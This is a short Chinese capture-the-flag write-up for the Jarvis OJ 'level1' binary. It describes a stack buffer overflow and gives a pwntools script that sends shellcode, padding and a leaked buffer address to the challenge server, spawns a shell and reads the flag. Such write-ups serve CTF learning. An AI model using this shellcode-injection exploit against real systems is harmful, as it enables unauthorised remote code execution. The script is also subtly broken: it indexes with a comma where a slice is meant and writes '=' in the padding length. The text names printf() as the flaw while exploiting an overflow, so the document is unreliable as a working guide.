https://www.jarvisoj.com/challenges
拿到程序後先file可知爲32位和動態鏈接
file level1
然後checksec檢查保護機制
checksec level1
拖入ida查看,在vulnerable_function()函數的printf()處存在注入點
棧結構:
低地址→高地址
buf→ebp→eip(返回地址)
思路:沒有system函數,在buf插入一段shellcode,將返回地址覆蓋爲shellcode的地址
level1.py如下:
from pwn import *
io=remote('pwn2.jarvisoj.com',9877)
shellcode=asm(shellcraft.sh())
p=io.recvline()
shell_add=int(p[14,-2],16)
payload=shellcode+'a'*(0x88+0x4=len(shellcode))+p32(shell_add)
io.send(payload)
io.interactive()
io.close()
執行level1.py
python level1.py
ls
cat flag